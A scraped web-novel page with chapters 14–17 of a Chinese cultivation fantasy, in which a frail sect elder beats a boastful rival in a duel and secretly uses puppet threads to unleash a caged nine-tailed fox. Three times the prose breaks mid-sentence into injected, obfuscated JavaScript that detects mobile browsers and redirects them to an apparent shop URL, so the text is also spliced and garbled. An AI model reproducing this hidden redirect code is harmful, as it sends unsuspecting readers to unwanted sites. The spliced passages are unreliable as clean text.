RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寒砚走出去,没什么精气神道:“裴涣说,掌门师兄安排了我来帮忙。” 常笑这些日子忙昏了头,听见她的话,回想了片刻,才一拍脑袋,“对,是有这么回事。” 说话间,其他人拥过来,嬉皮笑脸地跟她打招呼,被寒砚敷衍过去。 常笑将师弟师妹们赶走,“这件事也不需要小师叔多做些什么,主要是掌门师伯担心我压不住场子,让剑宗落了下风,到时我会去跟人交涉,小师叔必要时配合我一下就好。” 寒砚知道他一向靠谱,端着长辈的架子道:“如此便好。” 她被自己逗笑,“我虽身体不争气,但有什么我能帮得上忙的,尽管跟我说。” 常笑摇头,不赞同道:“裴师弟也是,就算大师姐不在,又何必麻烦小师叔亲自来走一趟。今日来的都是大宗门的人,还不至于为难我们剑宗。” 他话音一转,“对了,还有件事。魔界针对我们剑宗的计划刚失败,其他仙门就得到了消息,还派了长老和弟子过来,掌门和师尊他们都怀疑是仙门内出了叛徒,特意嘱咐我要好生试探,到时候要麻烦小师叔在一旁多加留心。” 同理,剑宗苍穹塔布防何其严密,还是被人钻了空子,显然剑宗内部也有魔界的人。 想起裴涣所言,寒砚试探道:“所以连溪长老去魔界是为了不让他们互通信息?” “不。” 常笑痛苦捂脸,“师尊只是单纯不满魔之界人在他的地界公然挑衅,他还烦仰止峰的杂事,不想去和其他人扯皮。” 寒砚嘴角一抽,她就说连溪长老怎么突然长脑子了? 常笑揉了揉眉心,提起他那个师尊就头疼,“其实到现在该处理的都处理得差不多了,仙门来人与其说帮忙,不如说是视察,如果他们之中没有魔界奸细的话,应付过去,好生送走便是。” “如果有呢?” 常笑冷冷一笑,露出森白的牙齿,“当然是叫这个奸细有来无回,其他宗门带着魔界之人来我剑宗,心思叵测,不掉层皮别想轻易离开。” 寒砚:“……” 所以看似正气凛然,实则是因为太穷趁机敲竹杠? 不过这好像也不能怪剑宗。 因为苍穹塔世代都由剑宗看守,其他仙门有时遇到些不好处理的妖族也会交给剑宗关进塔中,以待刑满释放交由妖域处置。 简言之,剑宗出人出力还要承担风险,没报酬就算了,真出意外还可能被其他仙门的人问责。 无妄剑宗的开山祖师以天下为己任,殉道救世,不求回报,后世剑修有样学样,任劳任怨。 直到浮华界灵气渐衰,一群剑修被现实毒打后,终于不再老实巴交地被其他仙门当苦力,知道索取点辛苦费了。 人各有志,寒砚不想对此做出什么评价。 “小师叔,我还有些事务要处理,便不招待你了,你可以到处看看,想去后方休息一下也可以。” 常笑又转身对其他弟子交代道:“其他仙门的道友等会儿才过来,你们先休息下,之后可不能跟现在一样没精神。” “是,师兄!” 常笑离开,寒砚也没客气,自行找了个角落闭目养神。 然而这一等,就是一个时辰。 仰止峰距离山门并不算远,说难听点,作为修士,就算是用双腿走都该到了。 执法堂的弟子们交头接耳地议论: “这群人是出什么事了吗?怎么还没到。” “说什么屁话?在宗门内能出什么事?” “那你说怎么这么久还没到?” 被问到的弟子苦恼道:“……肯定是有正经事耽搁了!” 就在执法堂的弟子们胡乱猜测时,在门口等人的弟子大声道:“来了!” 等得已经蔫掉的众人精神一振。 15. 第15章 裴涣带着乌泱泱一群人姗姗来迟。 他和一对陌生男女并肩走在前方,身后跟着其他仙门的人,约莫十来个人,除了正在和裴涣交谈的男子,所有人的表情看上去都不太好。 出来看到这一幕的执法堂弟子们一头雾水。 正在和裴涣说话的男子穿了身夸张的金色法衣,像只绚丽的金孔雀,在阳光下亮得晃人眼睛,衣摆绣着浮生仙宗的纹样。 他脸上带笑,拽着裴涣的手说个不停,说到兴奋处还会激动地喊两声裴师弟。 颇有些相逢恨晚,就差硬拉着人原地拜把子。 除了他,跟在后方的人都一脸苦大仇深。 另一侧的女子,作文士打扮,衣衫素净,容貌清雅,头发尽数挽起,干净利落,她腰间挂着一幅卷轴,应是法器。 她时不时移开视线,表情嫌弃隐忍。 这是天元道宗的儒修,在她的身后,还跟着七八个穿着相似的年轻弟子。 道宗和剑宗交好,双方时常互派弟子交流,寒砚刚好认得她。 林义,道宗掌门的徒弟,也是风无双的好友,多次代表道宗出席各种事宜。 除开仙宗和道宗,剩下的便是禅宗弟子,一堆年轻的光头格外惹眼。 禅宗领头的亲传看起来年纪颇小,十三四的模样,脸蛋圆润白净,五官精致,同身旁人说话时,脸颊上还会浮起淡淡的红晕。 执法堂弟子们嘴角抽搐,怎么还真是用双腿走过来的? 离得近了,他们终于听清那浮生仙宗的男修和裴涣在说什么。 “裴师弟,师兄这话虽然不好听,但可都是良言啊!你看你们这座山,遍地皆是普通植被,灵植就算了,可这些东西既不值钱还招虫蚁,如今还方便了宵小藏身,你说这、这何必呢?” 越江恨铁不成钢地一拍大腿,“还有!你们这布防也太过松散,苍穹塔何等重要之地!不说五步一岗,起码也要多安排些弟子巡视吧,师兄知道你们剑宗不容易,但是这可是关乎整个修真界的大事,怎么能够吝啬灵石法宝?你瞧瞧,连阵法都这么少,怕是连筑基弟子都防不住。” 他一边说一边指点着周围的环境,时不时还摇一下头,似乎对无妄剑宗失望至极。 裴涣僵硬地扯了扯嘴角,“越师兄说笑了,不过是因为前段时间遭逢动乱,许多阵法符文尚未修补完善。” 如果不是因为长辈叮嘱,裴涣非得将人脑子里的水都打出来! 浮生仙宗是灭门了吗?派这么个傻*过来???想和剑宗开战就直说! 越江似乎没看出他的勉强,惊讶道:“你们这动作怎如此之慢?十几天了还没修好?若是在我们浮生仙宗,虽说根本不可能发生这种被偷袭的事吧,但是就算发生了什么意外,不出三日……” 他伸出三根手指,抬高音量,要叫所有人都听见,“最多三日,我们宗门便会将事情解决妥当。” 越江瞥了眼不远处无精打采的执法堂弟子,拍了拍裴涣的肩膀,“剑宗不仅环境艰苦,看来弟子们的日子也不好过啊,裴师弟这般不到二十就即将结婴的天才,若是在仙宗,浮华界第一天才当属师弟你啊,风无双又算得了什么……” 无妄剑宗地处修真界边界,灵气稀薄,却能有风无双和裴涣两个惊世天才? 剑宗之所以穷成现在这样,莫非是将整个宗门的资源都堆给了这二人? 越江揣度着,自以为已经看透了天才之后的真相,不由鄙夷起来,趴在无数人身上吸血的也能叫天才? 对了,他记得剑宗还有个仙君弟子来着,这么多年也未曾听到对方结丹的消息…… 仙君闭关多年,这弟子该不会已经被敲骨吸髓,是死是活都难说。 越江想着,看裴涣的眼神不可避免地显露出两分轻视和鄙夷。 “越师兄慎言!”裴涣忍无可忍,打断了他的话。 裴涣年纪轻,但也不是傻子,哪能看不出越江态度的变化,看不起他无所谓,但他的师姐、他的同门,却不是外人能随意置喙的。 “大师姐不仅天赋出众,修行之勤勉更是我等普通弟子难以企及,我们休息时她在练剑,我们练剑时她在秘境中历练!多年来日日如此,从未懈怠!师姐甚至在空闲时间还要处理宗门杂事和指导我们练剑,我们已耽误师姐良多,不然她早已突破化神。” 少年站在原地未动,神色郑重,一字一句说得格外认真。 一路过来,裴涣对越江的忍耐已经彻底到了极限。 心思不纯,出身再好,堆了再多资源也不过金丹初期,还毫无自知之明,妄图非议他大师姐? 裴涣不再多言,见到了目的地,索性长腿一迈,走在大部队前方,正好撞见从里面出来的寒砚众人。 执法堂弟子分站两旁,站在前方的少女一身胜雪衣裙,身形纤细,肤色极白,是一种带着病气的白,似乎一阵风过来都能将她折断。 她眼神温润,面上带笑,极易让人生出好感。 起码林义每次见到这位剑宗小师叔,都觉得十分亲切,忍不住同好友一样,将她当师妹看待。 裴涣火气稍减,主动上前,“小师叔,常师兄。” 仙门众人听见裴涣的称呼,顿时明白眼前少女的身份,正是传闻中那位身体孱弱的仙君亲传、剑宗小师叔,纷纷抱拳行礼。 寒砚扫过这些人,经过越江时眼睛染上一分冷意,笑道:“各位道友远道而来,不曾去山门相迎,还望海涵。” 越江主动担起三大仙门代表之责,微笑回礼:“晚辈早闻寒师叔仙君弟子之名,百闻不如一见,若有机会,不知可否能请小师叔指点一番。” 静,极致的静。 在场所有人都没想到,他一个金丹期修士,会说出和筑基期交手的话来。 而且没记错的话,越江已经年过半百了吧…… 裴涣眉头一皱,就要上去理论,被寒砚一个眼神制止。 “当然可以,我虽修行时间不如这位师侄,但无论是剑术还是术法,指导一个小辈还是绰绰有余。” 还真是死要面子。 越江没忍住笑了声,又立马收敛,装模作样道歉:“我一想到可以得到小师叔指点,便心中高兴、高兴。” 寒砚挑眉,“高兴就好,虽说此次我宗本就安排了交流一事,但师侄如此积极,我必盛情回应。剑宗地界苦寒,比不上仙宗富丽堂皇,但却能时刻警醒我等,不可沉迷享乐,当以修真界安危为重。” 听着她的话,越江脸色越来越难看。 只因这位剑宗的小师叔明显听见了他和裴涣的对话,就差指着他鼻子骂浮生仙宗躲在剑宗身后享受。 其他浮生仙宗弟子皆面露羞愧,垂下头,无颜见人。 寒砚视线一转,语气温和却不容质疑,“择日不如撞日,我瞧面前这块空地就不错。” 她走上前,停云弓出现在她掌心,所经过的弟子皆往两边站。 转过身,她抬起手,长弓往身前一横:“师侄,请。” 裴涣和常笑不知道她想做什么,但也知道她不是个冲动的人,只能先将其他人招呼开,给两人留出场子。 仙宗弟子感到不妙,凑到越江身边,耳语道:“越师兄,这位小师叔身体不好,而且才刚及笄的年纪,我们是来帮忙的,这样不好吧……” 越江以为他要说什么好的处理办法,结果全是废话,冷着脸将他推开。 “还请小师叔,多多指教!” 浮生仙宗之中,以剑修和法修为主,而越江的本命武器便是一把剑。 而和剑修在这样狭小的场地比试,却选择弓这种远程兵器,看来这位小师叔不仅修为不行,脑子也不好用。 原本还有些紧张的越江松了口气,今天他就教教这位年纪轻轻的师叔,什么叫作谦虚。 越江把剑往空中一抛,姿态潇洒地拔出,脚下用力一蹬,往寒砚攻去。 威力不详,但气势十足。 一看就价格不菲的灵剑被越江握在手中,却无法发挥它的五成威力,甚至他这个金丹,在寒砚眼中也格外虚浮。 眨眼间,剑已至身前。 寒砚侧身,长剑擦着脸颊划过,轻松和越江拉开距离。 金丹期那点威压,对她来说跟空气没什么区别。 越江虽然根基不够扎实,但好歹也是金丹,理论上来讲速度和实力都对筑基是碾压级别的,因此寒砚一开始只是躲而不还手。 乍一看,像落了下风。 执法堂弟子们忧心忡忡:“小师叔不会出事吧……” 常笑沉默不语,但肉眼可见的担心。 裴涣用力攥紧剑柄,手背上青筋暴起,周边气压低得吓人,像是下一秒就要冲上去打人。 他咬紧牙关,从牙缝中挤出一句话:“相信她。” 交手了十来招后,寒砚觉得已经给浮生仙宗留够了面子。 她可不是什么好脾气的人。 终于不再躲避。 越江以为她灵力开始无法支撑,心下一喜,趁机近她身,一跃而起,调动全部灵力使出最强的剑招。 他笑容略显狰狞,“承让了!” 寒砚见状轻笑,中指和无名指弯起,指尖亮起灵光,冰系灵力瞬间爆发,风雪交加,地面刹那结上一层厚厚的霜。 因为距离太近,极致的低温下,越江竟被冻在半空,好不滑稽。 越江连忙用灵力隔绝寒气,却于事无补,整个人砰地砸到地上,与地面霜雪接触的瞬间,寒气如蛇,呼吸间就缠上他的身体。 越江挥剑斩碎爬上衣摆的霜,刚获得自由,银白的无弦弓迎面砸来,慌忙横剑去挡。 弓与剑相撞,越江还未来得及庆幸,腰间顿时一痛,人直接倒飞了出去。 寒砚旋身拉弓,借力拉开弦。 纤瘦单薄的身躯在此时爆发出恐怖的韧劲和力量。 等越江一个空中翻身,落地站稳后,一抬头就见寒砚满弓对着自己,宛若闪电般的弓弦,架着三支冰雪凝成的箭矢。 对上少女毫无温度的眼眸,越江当即起了一身冷汗。 下一秒,她眼中冰雪消融,温声问:“要试试我这一箭吗?我保证你躲不开。” 越江:“……” 他脑子里一阵嗡鸣,身体止不住地摇晃,差点摔倒,耳边响起细微的声响,他骤然脸色大变。 爷爷给他的护心甲…… 碎了? 他脑子迟缓地转动,这是一个正常筑基能做到的地步吗? 不、不能! 这可是能抵挡元婴一击的防御法器! 这是个什么怪物?! 在阳光下反光的冰箭正对着他,寒气无孔不入,他如同被大型肉食动物盯上,浑身血液凝固,无所遁形,完全生不起反抗的念头。 他想喊出她根本不是筑基! 但他只是捂着腰,艰涩道:“……我认输。” 两人的交手到此为止。 寒砚收起弓,周围突然爆发起剧烈的鼓掌声。 一回首,就见执法堂的人不知何时同道宗弟子站到了一块,见她看过来,拍得愈发用力,就连看似清冷正经的林义,脸上也带着与有荣焉的笑。 执法堂的弟子跑过来将她围起。 “小师叔你没出什么事吧?” “看不出来啊,小师叔你果然深藏不露!” 剑宗弟子以越级战斗闻名修真界,再加上越江本身修为不稳,旁观者惊讶之余,不过感慨句不愧是仙君看上的人。 除了越江,无人多想。 寒砚正笑着,忽然捂着胸口剧烈地咳嗽。 剑宗的人吓得够呛,裴涣脸色惨白,“我带你去找医修!” 他说着就要将她抱起,寒砚眼角一抽,制止了他的动作。 “无碍,不过是太久不曾与人动手,休息一会儿就好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888589|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 在场都是修为不低的天骄,即便寒砚声音小,都清晰地听见了她的话,一道道谴责的眼神落到越江身上。 越江身上还痛着,被所有人这么一盯,险些一口老血喷出。 不是,明明被打的人是他好吗?这群人有病是吧? 越江满心怨恨,一甩袖子就要走,被仙宗弟子慌忙拉住。 阻止他耍脾气离开的小弟子都快哭出来了,苦着脸道:“师兄,任务!别忘了任务,就这么走了,我们回去怎么和掌门交代?” 越江黑着脸,倒是没再想走,死死盯着寒砚的身影,眼睛泛起血丝。 …… 十大仙门以浮生仙宗为首,浮生仙宗亦修真界第一宗门自居,对修真界的什么事情都要管上一手。 平日里修真界的各种事务,诸如仙门大比,或者秘境开启,都是浮生仙宗的人主持管理,但实际上大宗门实力相差无几,浮生仙宗亦没到可以随意命令其他宗门的地步。 只是见有人自告奋勇地去处理杂事,其他仙门的人乐得空下时间来静心修行。 因此这次来的,只有几乎无处不在的浮生仙宗,和剑宗交好的天元道宗,以及灵虚禅宗。 至于小宗门,消息不够灵通,向来都是跟着依附的大宗门行事。 三宗各有一长老带队,人数都在五六人左右。 其中让寒砚奇怪的是,禅宗向来不过问仙门之间乱七八糟的事情,一般只会在大场面出现,如今不知怎的也来凑了个热闹。 这次事件声势虽大,但因处理及时,并无什么伤亡,魔界作妖又不是一天两天,本不应该惊动他们。 见没她什么事了,寒砚安静退下,换成常笑上去跟人打交道。 跟寒砚的假好脾气以及裴涣的真坏脾气不同,他游刃有余地跟人交谈,三言两语就让原本紧绷的氛围活跃起来。 不过常笑有意无意略过越江,道宗的人有样学样,禅宗弟子本就话少,更不会多加掺和。 话头落到禅宗身上时,常笑不确定地看向领头的小和尚,“这位道友是……” 释安念了句佛号,合手,带着些腼腆,“小僧释安,灵虚禅宗新任佛子,见过常师兄。” 原本还在好奇打量的众人恍然大悟。 这应该是新任佛子的首次亮相? 常笑带着弟子们回礼,转头介绍道: “苍穹塔由执法堂看管,如今师尊不在,小师叔身体不好,之后的情况就由我为各位道友一一介绍,诸位请。” 越江也知道自己八成已经因为寒砚得罪了剑宗的人,却浑然不在意,一个穷乡僻壤之地的宗门,有什么交好的必要? 他端着第一宗门的架子,故作矜持地率先跟上常笑。 林义和释安对视一眼。 释安老气横秋地叹了口气。 林义掩下眼中的厌烦,想了想,走到寒砚身边,关切道:“小师叔没受什么伤吧?” 寒砚和裴涣落在最后面,有些意外她会主动和自己说话,“多谢关心,灵力消耗过多,休息一下就好。” 林义点头,“没事就好。” 她说完转身跟上常笑等人。 裴涣收回落在林义身上的视线,仗着自己修为高,悄悄给寒砚传音。 “你不知道这个叫越江的有多烦,我接到这群人的时候,就他一个人死活要走路过来,说什么不放心要检查我们剑宗各处的防御。不是,他以为他谁啊?就算是他们仙宗的掌门过来,也得对我们剑宗客客气气的,我们把他们当客人,他们把自己当主人?” 听他这么一说,寒砚也来了些许好奇,问:“所以他什么身份?” 她突然想起他之前的话,“就是你说的身份特殊的弟子?” 两人隔得近,寒砚听见少年毫不掩饰的冷哼,“他是浮生仙宗某个太上长老的孙子,据说得来不易,很是受宠。” 寒砚懂了,原来就是个关系户。 …… 拔出魔气是个很漫长的过程,非一朝一夕可以完成。 常笑和三位亲传仔细介绍苍穹塔的情况,裴涣则是根据大家的修为境界,以及对净化魔气的熟练程度来分配任务。 “事情较为繁琐,常笑在此代表无妄剑宗多谢各位道友。” 常笑表情诚恳,弯腰致谢。 林义去扶他,“我等仙门弟子本就该守望相助。”她冷冷瞥了眼越江,“而不是只会口头上说得好听。” 旁的人或许顾忌他的身份,她却不在意,之前忍着是给剑宗的人面子,不想在交好的宗门底盘上让主人家难做,但越江率先挑事,就休怪他们不客气。 越江自不会对号入座,笑道:“常师弟客气了。” 塔内,所有妖族陷入沉睡,被关在隔间中用阵法控制了起来。 筑基期的弟子最多去净化金丹妖族,金丹弟子最多净化元婴妖族,以此类推。 化神及以上的妖不多,那是长老们要操心的事情。 “这些和寻常魔气不太一样,各位道友还请多加小心。”常笑再三叮嘱。 “对了,九十层往上绝对不能上去,上面都是化神及合体期的妖魔,去八十九层的道友也切记,绝对不可去最后一间,那里关着一只化神期的大妖。” 在场除了寒砚和裴涣年纪较小,其他都是身经百战的金丹弟子,都知道化神大妖不可招惹,按理来说不需要常笑多担心,不过以防万一,他还是多次提醒。 “小师叔也要跟着一起?别一会儿撑不住,还要分出弟子去照顾她吧,要我看,不如先回去休息。” 常笑都快维持不住自己的表情,“不必担忧……” 见所有人不赞同地看自己,越江心里有些发怵,但不想看到寒砚的念头占了上风,他强撑着道:“我也是为了小师叔好……” 唰—— 儒修腰间的卷轴展开,一幅黑白的山水字画朝越江脸上呼啸而来。 16. 第16章 越江一惊,慌忙躲避时不小心扭了下脚,脑袋“嘭”的声撞在墙壁上。 别说,还挺响。 寒砚忍着笑,握着弓的手指放松下来。 林义收起手中卷轴,像看死人一样,森森地看向越江。 “废话说够了吗?女子娇气?等你什么时候能够从无双手下撑住十招不腿软,再来说这种屁话。” “林义!” 越江疼得直抽气,又羞又恼,脸涨成猪肝色,“你搞偷袭还有理了?原来你们儒修口中的礼义廉耻也不过如此,一群卑鄙小人!” 林义收起卷轴的动作一顿,抬起下巴,轻蔑道:“同君子才讲礼义廉耻,你觉得你是吗?你若不服,待此番事毕,你我光明正大打上一场。” 越江敢怒不敢言。 他敢答应和寒砚交手,不过因为对方是个病歪歪的筑基,而林义高了他两个小境界,又和风无双那个疯子交好,他昏了头才答应和她打! 见越江怂下去,林义懒得跟他一般见识,将画卷重新别回腰间,对常笑抱歉道:“整个流程我已牢记于心,常师兄大可放心。” 常笑:“师妹务必以自身安危为重。” 林义点头,带着道宗的人率先离去。 常笑过去扶起越江,“越师兄这话确实说得太过,小师叔对清心诀掌握熟练,在净化魔气上比我等更为得心应手,有些妖魔气入体过重,非小师叔不可。” 越江自然知道自己言语有失,但要他打自己的脸必不可能,尤其和人梁子已经结下了,只能一条路走到黑。 他冷哼一声,甩开他的手,不认为这些人敢把他怎么样。 常笑确实不会把他怎么样,但他会如实将今天的情况禀报掌门。 寒砚的注意力一直在林义身上,觉得这个儒修还真是有趣。 或者说修真界的儒修都很有趣,和她上一世所见的儒生完全不同。 他们虽然同样怀着不切实际的的幻想,修习各种圣人之言,但却清楚地知道,在修真界只有实力过硬才有话语权。 这群儒修身上有文人风骨,更有杀伐果断。 这可比她原本世界只会耍嘴皮子的儒生有意思多了。 …… 所有人被裴涣分成两支队伍,各自负责一层,净化完再继续往上,如有突发状况,及时传音交流。 裴涣跟着寒砚一起,说辞是他向师尊申请让她来帮忙的,自然不能让她出事。 他表情很臭,跟谁欠了他几百万灵石一样,“你别多想,我才不是担心你,你要是出什么问题,我没法跟师尊以及仙君交代。” 寒砚白了他一眼,不愿多说废话。 推开门,隔间的角落中蜷缩着个化作人形的妖族,这些魔气留存顽固的妖都被留给了她来处理。 寒砚上前,手落在妖的脑袋上,然后开始走神。 其实她的清心诀修得并不好,好在过目不忘,勉强还记得那些拗口晦涩的句子。 随意念了几句,趁裴涣没注意,动作极快地将其体内的魔气抽出来。 被粗暴对待的元婴妖族身体一阵抽搐,气息剧烈动荡,眼瞧着就要醒来,又被寒砚打晕过去。 “如何?可以处理吗?” “可以应付,你不用跟着我。” 裴涣当没听见,递给她一个乾坤袋,没好气道:“撑不住不准硬撑,补充点灵气,师尊提供的,不准拒绝。” 寒砚无语接过,取了块灵石握在手中,慢慢汲取其中灵气。 这层其他弟子也慢慢处理好,回到走廊上,裴涣带着人继续往上。 由于之前的时间已经净化了不少,如今还剩下都是些比较棘手的,一群人折腾到下午,终于到了八十八、八十九层。 忙活了好多天的执法堂弟子伸了个懒腰,顶着两个黑眼圈,半死不活地道:“就剩下一层了,终于快结束了。” 身边的人手搭在他肩膀上,同款有气无力,“太累了,一想到常师兄还要继续忙,果然这首席弟子不是一般人能当的。” 说话间,大家踏上八十九层,各自去隔间中给被关押的妖族驱除魔气。 由于消耗不小,大家都十分疲惫,只有零星几个精力旺盛的弟子还在说话,但也分开进入隔间后安静下来。 烛火摇曳,走廊上空无一人。 咔嚓。 沉重铁门被打开,身穿华丽仙宗弟子服的男子从里面走出,依稀看见里面的妖族还在沉睡。 他回到走廊,烛光照清楚他的脸,正是越江。 不过他的神态看上去格外奇怪,双目无神,瞳孔涣散,像是个没有意识的提线木偶,动作僵硬。 走了两步后,他的动作和反应逐渐流畅,眼神恢复正常,看上去和平时没什么区别。 他顺着走廊往里走,落地无声,到最后一扇门停下。 黑气从他掌心涌出,像是线一样牵引他将手搭在门上。 门上的阵法感应到阴邪之物被动亮起灵光,不过瞬间被黑气缠上腐蚀,在越江手下自动打开。 在这道门后,沉睡着一个体型极为庞大的妖。 睡梦间,蓬松的狐尾闲闲摇晃。 …… “你能不能别再跟着我。”寒砚环着手,走在前面。 “我怕你紧要关头搞砸,给我们添麻烦。” “不过元婴期的妖,能有什么搞砸不搞砸的。” 裴涣嘲了句:“别人不知道你,我还能不知道?想一出是一出,谁知道你会不会突然抽风。” “……喂,请对你师叔放尊重点。” 推开隔间门,找到这层最后一只麻烦的妖。 元婴圆满,因为自身原因受到魔气影响尤其强烈,若非被强制沉睡,此时还会继续发疯砸门。 寒砚念完口诀,将灵力灌入妖的体内,结合口诀将灵力炼化成清气净化对方体内的魔气。 清心诀分为两种,一种仅作用于自身,一种可作用于旁人,后者修行难度更大。 两种都是历代修士钻研出来的,专门针对魔族研发的术法。 多用几次,寒砚已经完全熟练掌握,可以纯靠清心诀净化妖族体内的魔气,无需作弊。 最开始,净化的过程很顺利。 就是这只妖修为深厚,需要花费更长的时间。 突然,这只妖体内的魔气剧烈躁动,和寒砚输送进去的清气发生碰撞。 它睁开血红的妖瞳,跃起朝寒砚扑过来。 寒砚右手还维持着传送灵力的动作,察觉到它苏醒,懒懒地抬起眼帘,杀意一闪而逝。 “小心。” 还未出手,她被人一拽,一道高大的身形挡在她前面。 寒砚被遮挡得看不见妖,只听见利爪划开布料的声音,然后就被裴涣推出隔间。 房门在眼前关上,寒砚牙疼道:“元婴期的妖,你打得过吗?” 传音穿过特殊材质的房门,在裴涣脑海中响起。 “怕我死就喊常师兄他们来帮忙,你别进来。” “你信不过我?” “呵,废话。这只妖可不是越江那个半吊子,你对自己几斤几两没……!” 话音未落,声音中断,寒砚只来得及捕捉到道破空声。 几秒后,脑中传来裴涣大吼的声音:“你别进来,去找人!” 寒砚扯了扯嘴角,往后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林义从另一方向带着人赶过来,就看见常笑和释安站在一起,而越江禁闭双目,浑身是血,被两个仙宗的弟子搀扶着待在后方,进气多出气少,看样子伤得不轻。 两名仙宗弟子脸色煞白,抖着手,掏出各种珍贵的丹药一股脑给人喂进去,生怕太上长老的宝贝孙子死在他们手上。 视线越过这些人,林义浑身僵硬地抬起头,眼底映出隔间里缓慢起身的巨物。 它的四肢被粗壮的锁链分别缠绕着,而另一端嵌在房间的四个角落,脚下禁制亮起刺眼的白光,如烈火般灼烧着它的身躯。 空气顿时升温,充斥着皮毛被烤焦的刺鼻气味。 这是一只悠悠转醒的九尾狐,身高四五丈有余,因被关得太久,身上的皮毛显得有少许暗淡,身后的九条尾巴慵懒扫动,装满了整个隔间,那双淡紫色的妖瞳在他们眼皮子下,一点点被魔气侵蚀,最终变成可怕的猩红。 没有一点预警,九条硕大的狐尾如闪电般袭来。 化神级别的妖,完全不是他们这些人可以硬抗的。 后面才来的林义一边躲,一边问常笑,“怎么回事?好好的,这妖怎么会跑出来?” 常笑还没来得及说话,旁边撑起防护罩但又被九尾狐瞬间打破的释安小和尚哭丧着脸道:“是越施主非要去净化这只九尾狐。” 话音刚落,他被一尾巴抽飞出去。 17. 第17章 好在他是个皮糙肉厚的佛修,身上又有防御法宝,并未受太重的伤,至少不像越江直接被伤到昏迷。 又或许因为这只九尾狐尚未完全失去心智,毕竟现在还能像遛狗一样遛着他们玩。 释安擦掉嘴角的血迹,又过来帮忙给他们分摊压力。 常笑难得想发火,但现在不是说这些的时候。 这只九尾狐出自妖域王族,不知道犯了什么事被关进来三千年不曾释放,即便被压制到现在因灵气匮乏境界跌落,也绝不是他们可以招惹的。 “快躲开!” 好在在场之人都是各宗门的天骄,除了剑宗弟子,其他人都是各种法宝层出不穷,尚能勉强支撑。 只有孤零零一把剑的执法堂弟子们看得瞠目结舌。 但即便如此,还是有不少人受伤。 常笑让一些弟子带着伤员先走,他以及林义释安等修为较高者拖住九尾妖狐。 洁白的皮毛上魔气一点点往外涌出,理智彻底被魔气吞噬,之前还算和缓的攻击变得狂躁,毛发如钢针般的尾巴横扫过来,轻易地就将一个个金丹弟子击飞出去,砸到墙壁上又狠狠摔下,身上的骨头碎裂发出噼里啪啦的声响。 常笑带着执法堂的弟子列起剑阵,林义率着道宗弟子祭出法器。 无数符文与剑阵相融,结合组成个更加强大牢固的阵法,由上而下,将九尾狐罩在里面。 释安等禅宗弟子双手合十,神情肃穆庄严,诸佛幻影在身后浮现。 他们口中不断念着佛经,金光落到九尾狐身上,开始驱散它身上的魔气,为其他人拖延时间。 但诡异的是,缠绕在九尾狐身上的魔气遇见金光后却像是被惹怒了一般,越涌越多,让九尾狐变得更加狂躁。按照常理,除非主动入魔,内府灵气才会转化成源源不断的魔气。 常笑昨天还来看望过,很确定它并没有主动入魔的倾向,相反还在努力抵抗魔气的侵蚀。 只是剑宗的长老们还没空出手来帮它净化,仅仅暂时压制。 他们不需要和九尾狐正面交锋,九尾狐无法出塔,他们只要出塔就好。 可化神大妖远比想象中可怕,随便散发出来的威压就险些叫他们灵力逆流,爆体而亡。 裴涣赶来,朝九尾狐的眼睛用力劈出一剑。 九尾狐被魔气控制,并没有在意一个小小金丹,但却本能闭上眼睛,然后罕见地感受到一股刺痛。 在它闭眼的瞬间,裴涣带着人赶紧跑。 “哗啦——” 被激怒的九尾狐疯狂挣扎,仿佛没有痛觉一般,缠在四肢上的铁链勒进血肉,艳丽的血液染红毛发。 终于,铁链轰然断裂。 被勒掉血肉的腿骨暴露在空气中,它发出凄厉的吼叫,脑海里只有一个念头。 ——出去。 从这座塔出去,撕碎一切! 杀了这些仙门修士! 九尾狐离开禁锢自己的隔间,脚步不稳地踏上走廊,鲜血从眼眶中不断往下流淌,缓慢往下走去。 …… 另一边,寒砚并未如裴涣所说,给宗门长老传音求救。 开什么玩笑,她主动制造的混乱,当然不会找人来破坏。 他可是天道钦定的气运之子,谁来了都杀不死他。 寒砚也不知道为什么,反正就是如此笃定。 “……你竟然对仙门的人也使用傀儡丝?” 师无故见周围没人,从她衣袖中飞出来,照常落在她肩膀上坐下。 极致安静的空间里,少女的声音冷得瘆人,“那又如何?你在替他鸣不平?” “你少污蔑我……” 寒砚哼了声,“你果然是个冷酷无情的魔。” 连师无故这个层次的魔都不能抵抗的傀儡术,控制越江一个金丹更是轻而易举。 寒砚又道:“那小子身上法宝挺多,还要一件件破坏才能操控他的神魂,命可真好啊,有个好长辈护着。” 师无故:“命好吗?真好的话就不会遇见你了。” “你这话不对,我可是个好人,如果不是他主动来招惹我,我又怎么盯上他呢,不过……” 带着血腥味的风吹来,巨大的阴影笼罩着一人一魔。 寒砚抬眸,对上个巨大的狐狸脑袋,血色的妖瞳中时而划过一丝挣扎,最后被疯狂和杀戮吞噬。 “不过,你们这魔气可真厉害,上次我在这些妖体内都留下了一截傀儡丝,竟然变成了它的养料。” 寒砚弯起眼睛,抬手。 如海潮的黑气喷薄而出。 九尾狐还没反应过来发生了什么,身上顿时传来剧痛! 轰—— …… 被迫苏醒走出隔间的不止九尾狐,还有其他的化神妖族,再往上,寒砚怕他们没法收场。 没办法,谁让裴涣看她看得太紧,只能给他们找点事情做,转移下注意力。 顺便让越江感受一下,来自各宗长辈爱的关怀。 年轻人啊,总以为有人护着就无忧无虑地闯祸。 寒砚收起九尾狐的妖丹,意念一动,消失在了原地。 苍穹塔下方一派混乱中,裴初弦和其他长老们依次赶到。 